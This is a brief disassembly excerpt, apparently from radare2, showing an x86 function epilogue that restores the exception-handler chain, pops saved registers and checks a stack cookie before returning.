lea ecx, [ebp - 0x2c]
call fcn.10013040
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002005a
mov esp, ebp
pop ebp
ret